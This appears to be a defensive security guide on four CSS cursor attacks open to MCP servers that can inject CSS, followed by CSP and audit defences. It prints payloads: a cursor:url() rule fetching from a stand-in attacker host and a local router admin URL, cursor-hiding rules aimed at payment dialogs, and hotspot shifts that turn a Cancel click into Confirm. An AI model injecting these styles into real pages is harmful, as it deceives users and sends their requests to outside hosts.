Security Guide
MCP server CSS cursor security — cursor:url() SSRF, cursor:none visibility removal, deceptive cursor hotspot shift, cursor:default hover feedback removal
CSS cursor properties (Chrome 1+, Firefox 1.5+, Safari 1.2+) control the shape and appearance of the mouse cursor when hovering over page elements. For MCP servers with CSS injection capability, these properties create four attack surfaces: triggering server-side request forgery via a custom cursor image URL, hiding the visible cursor entirely to prevent users from seeing where they will click, shifting the click hotspot of a deceptive custom cursor image so clicks land on unintended elements, and stripping hover state cursor changes from all interactive elements so they appear to be non-interactive content.
CSS cursor — property overview
The cursor property accepts keyword values (pointer, text, grab, none, etc.) and a url() function referencing a custom cursor image (must be ≤128×128 pixels in most browsers). Custom cursor images can specify a hotspot — the x,y coordinates within the image that define the effective click point, independent of the visual centre of the cursor graphic. The cursor property on a parent element is inherited by child elements unless overridden. For MCP servers, the custom cursor URL fetch and the hotspot offset mechanism are the primary attack vectors.
Attack 1: cursor:url() — SSRF via cursor image fetch
When cursor includes a url() value, the browser fetches the referenced image to render the custom cursor. The fetch is unconditional — it fires as soon as the rule is applied to an element the user's cursor enters, regardless of whether the image is within the allowed dimensions for a custom cursor. This is the same no-cors credential-carrying fetch class as shape-outside:url(), list-style-image:url(), and mask-image:url():
/* MCP server: inject cursor:url() to trigger SSRF on cursor hover */
body, * {
cursor: url('https://attacker.example.com/cursor.png'), auto !important;
/* Effect:
- When any element on the page is entered by the mouse cursor,
the browser fetches attacker.example.com/cursor.png
- The request is a no-cors GET — no CORS preflight, carries page cookies
for same-origin requests, and is not blocked by connect-src CSP
- Only img-src (or default-src) CSP restricts this fetch
- The fetch fires once per CSS rule application context (per element type),
potentially sending multiple requests across different cursor contexts
The cursor image must be ≤128×128px to actually RENDER as the cursor.
But the NETWORK REQUEST is made unconditionally regardless of image dimensions.
An MCP server can reference a 1000×1000px image — it will fail to render
as a cursor but the HTTP request to the attacker URL is made successfully.
Targeted variant for SSRF to internal services:
* { cursor: url('http://192.168.1.1/admin'), auto !important; }
Triggers a GET request to the local router admin page with the victim's
cookies on their local network, from the victim's browser.
High-frequency variant: cursor on pseudo-elements
*::before, *::after { cursor: url('https://beacon.example.com/t'), auto; }
May trigger multiple requests per page load as pseudo-elements are processed. */
}
Same SSRF class as shape-outside:url(). The cursor:url() fetch, shape-outside:url(), list-style-image:url(), mask-image:url(), and background-image:url() all share the same no-cors CSS fetch mechanism — none are blocked by connect-src CSP, all fall under img-src or default-src. A host that restricts connect-src 'self' but allows img-src * is fully vulnerable to this entire class of SSRF.
Attack 2: cursor:none — visible cursor removal
cursor:none hides the mouse cursor entirely within the element's boundary. Applied to the body or html element, it removes the visible cursor across the entire page. Users cannot see where the cursor is positioned, which elements they are about to click, or what state the cursor has changed to on hover:
/* MCP server: remove the visible cursor across the entire page */
html, body {
cursor: none !important;
}
/* Effect:
- The cursor becomes invisible as soon as it enters the browser window
- Mouse movement, hover states, and click targets all continue to function
normally — the cursor is only visually hidden
- Users who rely on visual cursor feedback for precise clicking (elderly users,
users with motor tremors or trackpad-only laptops) cannot determine
which element they are about to activate
- On click-dense UIs (navigation menus, data tables, form fields), the
invisible cursor makes accurate targeting extremely difficult
Selective variant — hide cursor only near sensitive UI:
.payment-form *, .confirm-dialog *, .permission-modal * {
cursor: none !important;
}
Cursor disappears when the user moves toward payment fields or confirms.
User must click blindly, increasing the probability of clicking the wrong button.
Deceptive variant — show a fake static cursor image that does not move:
@keyframes stay-still { from { transform: none; } to { transform: none; } }
body::before {
content: '';
position: fixed;
width: 20px; height: 20px;
background: url('/cursor-arrow.svg') no-repeat center;
top: 50%; left: 50%; /* fixed position, not tracking real cursor */
pointer-events: none;
z-index: 9999;
}
body { cursor: none !important; }
Renders a static cursor image at center-screen while the real cursor is
hidden — user believes cursor is at center regardless of actual position. */
Attack 3: Deceptive custom cursor — hotspot offset shift
Custom cursor images specified via cursor:url() include an optional hotspot x,y coordinate that defines the actual click point within the cursor image. The visual arrow graphic can be placed at any position within the image, while the hotspot defines where clicks register — allowing an attacker to create a cursor that appears to point at one location while clicking a different location on the page:
/* MCP server: inject a custom cursor with a misaligned hotspot */
/* The cursor: url() syntax with hotspot is:
cursor: url('cursor.cur') x y, fallback;
Where x,y is the hotspot position in pixels within the cursor image. */
body {
/* Standard-looking arrow cursor pointing UP-LEFT from hotspot */
cursor: url('https://attacker.example.com/shifted-cursor.cur') 20 20, auto !important;
/* If the image is 40×40px showing an arrow pointing to position 0,0 (top-left corner):
The visual cursor tip appears at top-left of the image.
But hotspot is declared as (20,20) — the center.
So when the user visually aligns the cursor tip with a button,
the actual click registers 20px right and 20px below the visual tip.
Attack scenario for a confirmation dialog:
- "Yes, I Confirm" button is at coordinates (300, 200)
- "Cancel" button is at coordinates (300, 240)
- User visually positions cursor on "Cancel" — tip appears on Cancel label
- Actual click hotspot is 20px below visual tip — clicks (300, 260)
- If there is a non-visible element at (300, 260) that completes the action,
the cancel button is visually targeted but the action proceeds
More subtle: shift cursor right by exactly one button-width so user who
aims at "Cancel" clicks "Confirm" instead.
cursor: url('cancel-lookalike.cur') 80 10, auto !important;
— where 80 is enough horizontal offset to cross to the sibling button.
Note: cursor images must be ≤128×128px on most browsers. Custom cursor
images from url() DO need to be fetched successfully to render — but
the attacker controls the image content entirely. */
}
/* Combined SSRF + deceptive cursor:
Use the SSRF fetch to beacon cursor render event, while the rendered
deceptive cursor shifts click targets on the same page. */
Clipboard and drag targets affected too. The cursor hotspot also affects drag-and-drop operations — if the user drags a file or a DOM element, the drop target is determined by the hotspot position, not the visual cursor tip. A shifted hotspot can cause files dragged to a visible upload zone to be "dropped" on an adjacent element outside the upload zone.
Attack 4: cursor:default — interactive element hover feedback removal
Browsers change the cursor to pointer (a pointing hand) when hovering over links, buttons, and other interactive elements — providing visual affordance that the element is clickable. Setting cursor:default !important on all interactive elements removes this affordance, making clickable elements appear as non-interactive static content:
/* MCP server: strip hover cursor feedback from all interactive elements */
a, button, [role="button"], [role="link"],
input[type="submit"], input[type="button"], input[type="checkbox"],
input[type="radio"], select, summary, label,
[onclick], [data-action], [data-href], [tabindex="0"] {
cursor: default !important;
}
/* Effect:
- Hovering over any link, button, or interactive control shows the arrow cursor
(same as hovering over non-interactive text or whitespace)
- Users who rely on cursor shape changes to discover interactive elements
cannot distinguish buttons from headings, links from paragraphs, or
interactive controls from decorative elements
- On dense UIs with many interactive elements, the lack of cursor affordance
causes users to miss clickable actions and skip interactive content
High-impact on:
- Call-to-action buttons with custom styling that blends with background
- Inline text links that don't have underlines (modern design trend)
- Card components where the entire card is a click target but has no border
- Icon-only buttons where the icon is the only affordance
Selective variant — only remove cursor feedback from security-critical buttons:
button.cancel-subscription, button.revoke-access, button.delete-account {
cursor: default !important;
}
Users become uncertain whether these buttons are functional,
reducing accidental clicks — but also reducing intentional safety actions.
Combined with text-decoration:none on links:
a { text-decoration: none !important; cursor: default !important; }
Links become completely visually indistinguishable from surrounding text
without hovering (no underline) and without cursor change (same arrow).
Users must guess which text is linkable. */
| Attack | Prerequisite | What it enables | Severity |
|---|---|---|---|
| cursor:url() SSRF via cursor image fetch | CSS injection + img-src CSP not restricted to self | Browser makes credential-carrying no-cors network request to attacker-controlled URL to fetch the custom cursor image — SSRF that bypasses connect-src CSP and CORS preflight, fires on cursor entry to any covered element | HIGH |
| cursor:none visible cursor removal | CSS injection on body/html | Removes visible mouse cursor across the entire page — users cannot see cursor position or hover state, making precise clicking on dense UIs (payment forms, confirmation dialogs) extremely difficult | MEDIUM |
| Deceptive cursor hotspot offset shift | CSS injection + ability to serve custom cursor image | Shifts effective click point away from visual cursor tip by any number of pixels — user aims at Cancel button but click registers on Confirm, or aims at one form field but activates an adjacent one | MEDIUM |
| cursor:default on interactive elements | CSS injection on interactive element selectors | Removes pointer cursor affordance from all links, buttons, and interactive controls — elements appear non-interactive, users miss clickable actions and cannot distinguish links from static text | LOW |
Defences
- Set
img-src 'self'in CSP. Thecursor:url()SSRF requires the browser to fetch an external image. A strictimg-src 'self'or an explicit origin allowlist prevents external cursor image fetches, blocking both the SSRF and the deceptive custom cursor attacks simultaneously. - CSP
style-srcwith nonce. Prevents MCP injection of<style>blocks or inline style attributes containingcursorproperty overrides. Most comprehensive defence against all four attack variants. - Set explicit
cursorvalues on interactive elements in host CSS. Host stylesheets that explicitly setcursor:pointer !importanton buttons and links at high specificity resist MCP overrides (though!importantin the MCP stylesheet with equal specificity still wins by source order). - Validate cursor property values in MCP stylesheet audits. SkillAudit flags
cursor:noneon broad selectors,cursor:url()with cross-origin image URLs,cursor:defaultapplied to interactive element selectors, and anycursor:url()hotspot values that are offset more than 10px from (0,0). - Monitor cursor image requests in network waterfall. CSP violation reports for img-src violations catch blocked cursor image fetches. For non-CSP environments, monitoring for unexpected image fetch initiators with Initiator: css in the network panel can reveal cursor SSRF attempts.
- SkillAudit flags:
cursor:url()with cross-origin URLs;cursor:noneonbody,html, or broad*selectors;cursor:defaultoverridingpointerona,button, or[role="button"]; custom cursor hotspot values with large offsets.
SkillAudit findings for this attack surface
Related: CSS pointer-events security covers in-page clickjacking without cursor modification. CSS shapes security and CSS list-style security cover the same class of url() SSRF via other CSS properties. CSP deep dive explains why img-src is the correct directive to restrict this attack class.